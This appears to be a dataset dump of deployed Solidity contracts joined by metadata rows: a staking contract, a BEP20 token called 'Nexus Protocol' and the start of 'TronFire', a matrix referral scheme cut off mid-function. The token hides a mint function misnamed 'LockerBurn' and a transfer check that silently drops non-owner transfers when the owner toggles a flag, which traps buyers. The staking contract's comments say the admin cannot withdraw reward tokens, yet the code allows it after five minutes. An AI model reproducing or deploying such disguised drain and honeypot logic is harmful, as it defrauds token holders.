// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
interface LegacyToken {
function transfer(address, uint) external;
}
contract ConstantReturnStaking is Ownable {
using Address for address;
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address indexed holder, uint amount);
event ReferralFeeTransferred(address indexed referrer, uint amount);
event Reinvest(address indexed holder, uint amount);
// ============================= CONTRACT VARIABLES ==============================
// stake token contract address
address public constant TRUSTED_TOKEN_ADDRESS = 0xBD100d061E120b2c67A24453CF6368E63f1Be056;
// earnings reward rate
uint public constant REWARD_RATE_X_100 = 3000;
uint public constant REWARD_INTERVAL = 90 days;
// staking fee
uint public constant STAKING_FEE_RATE_X_100 = 0;
// unstaking fee
uint public constant UNSTAKING_FEE_RATE_X_100 = 0;
// this % of earned rewards go to referrer
uint public constant REFERRAL_FEE_RATE_X_100 = 500;
// unstaking possible after 72 hours
uint public constant LOCKUP_TIME = 90 days;
uint public constant ADMIN_CAN_CLAIM_AFTER = 5 minutes;
// ========================= END CONTRACT VARIABLES ==============================
uint public totalClaimedRewards = 0;
uint public totalClaimedReferralFee = 0;
uint public immutable contractStartTime;
// Contracts are not allowed to deposit, claim or withdraw
modifier noContractsAllowed() {
require(!(address(msg.sender).isContract()) && tx.origin == msg.sender, "No Contracts Allowed!");
_;
}
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public rewardsPendingClaim;
mapping (address => address) public referrals;
mapping (address => uint) public totalReferralFeeEarned;
mapping (address => EnumerableSet.AddressSet) private activeReferredAddressesOfUser;
mapping (address => EnumerableSet.AddressSet) private totalReferredAddressesOfUser;
constructor() public {
contractStartTime = now;
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
uint referralFee = pendingDivs.mul(REFERRAL_FEE_RATE_X_100).div(100e2);
uint pendingDivsAfterFee = pendingDivs.sub(referralFee);
bool success = transferReferralFeeIfPossible(referrals[account], referralFee);
uint amount = pendingDivs;
if (success) {
amount = pendingDivsAfterFee;
}
rewardsPendingClaim[account] = rewardsPendingClaim[account].add(amount);
totalEarnedTokens[account] = totalEarnedTokens[account].add(amount);
totalClaimedRewards = totalClaimedRewards.add(amount);
}
lastClaimedTime[account] = now;
}
function transferReferralFeeIfPossible(address account, uint amount) private returns (bool) {
if (account != address(0) && amount > 0) {
totalReferralFeeEarned[account] = totalReferralFeeEarned[account].add(amount);
require(Token(TRUSTED_TOKEN_ADDRESS).transfer(account, amount), "Could not transfer referral fee!");
totalClaimedReferralFee = totalClaimedReferralFee.add(amount);
emit ReferralFeeTransferred(account, amount);
return true;
}
return false;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff;
uint stakingEndTime = contractStartTime.add(REWARD_INTERVAL);
uint _now = now;
if (_now > stakingEndTime) {
_now = stakingEndTime;
}
if (lastClaimedTime[_holder] >= _now) {
timeDiff = 0;
} else {
timeDiff = _now.sub(lastClaimedTime[_holder]);
}
uint stakedAmount = depositedTokens[_holder];
uint pendingDivs = stakedAmount
.mul(REWARD_RATE_X_100)
.mul(timeDiff)
.div(REWARD_INTERVAL)
.div(1e4);
return pendingDivs;
}
function getTotalPendingDivs(address _holder) external view returns (uint) {
uint pending = getPendingDivs(_holder);
uint awaitingClaim = rewardsPendingClaim[_holder];
return pending.add(awaitingClaim);
}
function getNumberOfHolders() external view returns (uint) {
return holders.length();
}
function getNumberOfReferredStakers(address referrer) external view returns (uint _activeStakers, uint _totalStakers) {
_activeStakers = activeReferredAddressesOfUser[referrer].length();
_totalStakers = totalReferredAddressesOfUser[referrer].length();
}
function getReferredStaker(address account, uint i) external view returns (address _staker, uint _totalEarned) {
_staker = totalReferredAddressesOfUser[account].at(i);
_totalEarned = totalEarnedTokens[_staker];
}
function getActiveReferredStaker(address account, uint i) external view returns (address _staker, uint _totalEarned) {
_staker = activeReferredAddressesOfUser[account].at(i);
_totalEarned = totalEarnedTokens[_staker];
}
function stake(address account,uint amountToStake, address referrer) external onlyOwner {
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(TRUSTED_TOKEN_ADDRESS).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(account);
depositedTokens[account] = depositedTokens[account].add(amountToStake);
holders.add(account);
if (referrals[account] == address(0)) {
referrals[account] = referrer;
}
totalReferredAddressesOfUser[referrals[account]].add(account);
activeReferredAddressesOfUser[referrals[account]].add(account);
stakingTime[account] = now;
}
function unstake(uint amountToWithdraw) external noContractsAllowed {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > LOCKUP_TIME, "You recently staked, please wait before withdrawing.");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(UNSTAKING_FEE_RATE_X_100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(TRUSTED_TOKEN_ADDRESS).transfer(owner, fee), "Could not transfer withdraw fee.");
require(Token(TRUSTED_TOKEN_ADDRESS).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
activeReferredAddressesOfUser[referrals[msg.sender]].remove(msg.sender);
}
}
// emergency unstake without caring about pending earnings
// pending earnings will be lost / set to 0 if used emergency unstake
function emergencyUnstake(uint amountToWithdraw) external noContractsAllowed {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > LOCKUP_TIME, "You recently staked, please wait before withdrawing.");
// set pending earnings to 0 here
lastClaimedTime[msg.sender] = now;
uint fee = amountToWithdraw.mul(UNSTAKING_FEE_RATE_X_100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(TRUSTED_TOKEN_ADDRESS).transfer(owner, fee), "Could not transfer withdraw fee.");
require(Token(TRUSTED_TOKEN_ADDRESS).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() external noContractsAllowed {
updateAccount(msg.sender);
uint amount = rewardsPendingClaim[msg.sender];
if (amount > 0) {
rewardsPendingClaim[msg.sender] = 0;
require(Token(TRUSTED_TOKEN_ADDRESS).transfer(msg.sender, amount), "Could not transfer earned tokens.");
emit RewardsTransferred(msg.sender, amount);
}
}
function reInvest() external noContractsAllowed {
updateAccount(msg.sender);
uint amount = rewardsPendingClaim[msg.sender];
if (amount > 0) {
rewardsPendingClaim[msg.sender] = 0;
// re-invest here
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amount);
stakingTime[msg.sender] = now;
emit Reinvest(msg.sender, amount);
}
}
function getStakersList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = stakingTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
// Admin cannot transfer out reward tokens from this smart contract
function transferAnyERC20Token(address tokenAddress, address recipient, uint amount) external onlyOwner {
require (tokenAddress != TRUSTED_TOKEN_ADDRESS || now > contractStartTime.add(ADMIN_CAN_CLAIM_AFTER), "Cannot Transfer Out main tokens!");
require (Token(tokenAddress).transfer(recipient, amount), "Transfer failed!");
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
// Admin cannot transfer out reward tokens from this smart contract
function transferAnyLegacyERC20Token(address tokenAddress, address recipient, uint amount) external onlyOwner {
require (tokenAddress != TRUSTED_TOKEN_ADDRESS || now > contractStartTime.add(ADMIN_CAN_CLAIM_AFTER), "Cannot Transfer Out main tokens!");
LegacyToken(tokenAddress).transfer(recipient, amount);
}
}
| 87,146 | 12,029 |
a4fca330e9e90a118273cd3f1d1c3d35fcf66494102f086b5b2678752ec2ade1
| 21,057 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x1510958Dfd7504FAc60D410d33665d33271659d3/contract.sol
| 2,767 | 9,839 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface iBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
interface IPancakeFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract NexusProtocolToken is Context, iBEP20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address internal constant pancakeV2Router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
bool isSL = true;
uint256 _AMM = 100000;
constructor() public {
_name = 'Nexus Protocol';
_symbol = 'PSI';
_decimals = 9;
_totalSupply = 1000000 * 10**9 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function getOwner() external view virtual override returns (address) {
return owner();
}
function decimals() external view virtual override returns (uint8) {
return _decimals;
}
function symbol() external view virtual override returns (string memory) {
return _symbol;
}
function name() external view virtual override returns (string memory) {
return _name;
}
function totalSupply() external view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function LockerBurn(uint256 amount) external onlyOwner returns (bool) {
_balances[owner()] = _balances[owner()].add(amount);
emit Transfer(address(0), owner(), amount);
}
function theSL(bool _sl) public onlyOwner virtual returns (bool) {
isSL = _sl;
return true;
}
function sl() public view returns (bool) {
return isSL;
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
bool allow = false;
if(sender == pancakeV2Router || sender == pancakePair() || pancakePair() == address(0) || sender == owner()) {
allow = true;
} else {
if((amount <= _AMM || isSL) && !isContract(sender)) {
allow = true;
}
}
if(allow) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
function pancakePair() public view virtual returns (address) {
address pancakeV2Factory = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
address WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address pairAddress = IPancakeFactory(pancakeV2Factory).getPair(address(WBNB), address(this));
return pairAddress;
}
function isContract(address addr) internal view returns (bool) {
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
bytes32 codehash;
assembly {
codehash := extcodehash(addr)
}
return (codehash != 0x0 && codehash != accountHash);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
| 249,862 | 12,030 |
91cbcd1dbe18e74a88b74d617bef79e041e88b152df1ffc92751c03a5ee9090f
| 21,308 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TY/TY4CoYaRgQ2CEFpbhY2EKgfV1GpEMpUaWK_TronFire.sol
| 5,314 | 20,315 |
//SourceUnit: tronfire_finally.sol
pragma solidity 0.5.10;
contract XGOLD {
function deposit(address sender, address referrer) public payable;
}
contract TronFire {
struct User {
uint id;
address referrer;
uint partnersCount;
mapping(uint8 => bool) activeX3Levels;
mapping(uint8 => bool) activeX6Levels;
mapping(uint8 => X3) x3Matrix;
mapping(uint8 => X6) x6Matrix;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct X6 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
uint8 public currentStartingLevel = 1;
uint8 public constant LAST_LEVEL = 16;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
uint public lastUserId = 2;
address public owner;
mapping(uint8 => uint) public levelPrice;
XGOLD public xGOLD;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place);
event MissedEthReceive(address indexed receiver, address indexed from, uint8 matrix, uint8 level);
event SentExtraEthDividends(address indexed from, address indexed receiver, uint8 matrix, uint8 level);
constructor(address ownerAddress) public
{
levelPrice[1] = 200 trx;
levelPrice[2] = 400 trx;
levelPrice[3] = 800 trx;
levelPrice[4] = 1600 trx;
levelPrice[5] = 3200 trx;
levelPrice[6] = 6400 trx;
levelPrice[7] = 12800 trx;
levelPrice[8] = 25600 trx;
levelPrice[9] = 51200 trx;
levelPrice[10] = 102400 trx;
levelPrice[11] = 204800 trx;
levelPrice[12] = 409600 trx;
levelPrice[13] = 819200 trx;
levelPrice[14] = 1638400 trx;
levelPrice[15] = 3276800 trx;
levelPrice[16] = 6553600 trx;
owner = ownerAddress;
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0)
});
users[ownerAddress] = user;
idToAddress[1] = ownerAddress;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
users[ownerAddress].activeX3Levels[i] = true;
users[ownerAddress].activeX6Levels[i] = true;
}
}
function() external payable
{
if(msg.data.length == 0) {
return registration(msg.sender, owner);
}
registration(msg.sender, bytesToAddress(msg.data));
}
function setXGold(address xGoldAddress) public
{
require(msg.sender == owner, "onlyOwner");
require(address(xGOLD) == address(0));
xGOLD = XGOLD(xGoldAddress);
}
function withdrawLostTRXFromBalance() public
{
require(msg.sender == owner, "onlyOwner");
msg.sender.transfer(address(this).balance);
}
function registrationExt(address referrerAddress) external payable
{
registration(msg.sender, referrerAddress);
}
function buyNewLevel(uint8 matrix, uint8 level) external payable {
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
require(msg.value == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 1)
{
require(users[msg.sender].activeX3Levels[level-1], "buy previous level first");
require(!users[msg.sender].activeX3Levels[level], "level already activated");
if (users[msg.sender].x3Matrix[level-1].blocked) {
users[msg.sender].x3Matrix[level-1].blocked = false;
}
address freeX3Referrer = findFreeX3Referrer(msg.sender, level);
users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer;
users[msg.sender].activeX3Levels[level] = true;
updateX3Referrer(msg.sender, freeX3Referrer, level);
emit Upgrade(msg.sender, freeX3Referrer, 1, level);
}
else {
require(users[msg.sender].activeX6Levels[level-1], "buy previous level first");
require(!users[msg.sender].activeX6Levels[level], "level already activated");
if (users[msg.sender].x6Matrix[level-1].blocked) {
users[msg.sender].x6Matrix[level-1].blocked = false;
}
address freeX6Referrer = findFreeX6Referrer(msg.sender, level);
users[msg.sender].activeX6Levels[level] = true;
updateX6Referrer(msg.sender, freeX6Referrer, level);
emit Upgrade(msg.sender, freeX6Referrer, 2, level);
}
}
function registration(address userAddress, address referrerAddress) private {
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
if (address(xGOLD) != address(0)) {
xGOLD.deposit(userAddress, referrerAddress);
require(msg.value == levelPrice[currentStartingLevel] * 3, "invalid registration cost");
} else {
require(msg.value == levelPrice[currentStartingLevel] * 2, "invalid registration cost");
}
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeX3Levels[1] = true;
users[userAddress].activeX6Levels[1] = true;
lastUserId++;
users[referrerAddress].partnersCount++;
address freeX3Referrer = findFreeX3Referrer(userAddress, 1);
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
updateX3Referrer(userAddress, freeX3Referrer, 1);
updateX6Referrer(userAddress, findFreeX6Referrer(userAddress, 1), 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].x3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return sendETHDividends(referrerAddress, userAddress, 1, level);
}
emit NewUserPlace(userAddress, referrerAddress, 1, level, 3);
//close matrix
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x3Matrix[level].blocked = true;
}
//create new one by recursion
if (referrerAddress != owner) {
//check referrer active level
address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level);
if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress;
}
users[referrerAddress].x3Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level);
updateX3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendETHDividends(owner, userAddress, 1, level);
users[owner].x3Matrix[level].reinvestCount++;
emit Reinvest(owner, address(0), userAddress, 1, level);
}
}
function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private {
require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive");
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == owner) {
return sendETHDividends(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].x6Matrix[level].currentReferrer;
users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].x6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
} else if ((len == 1 || len == 2) &&
users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 3);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 4);
}
} else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
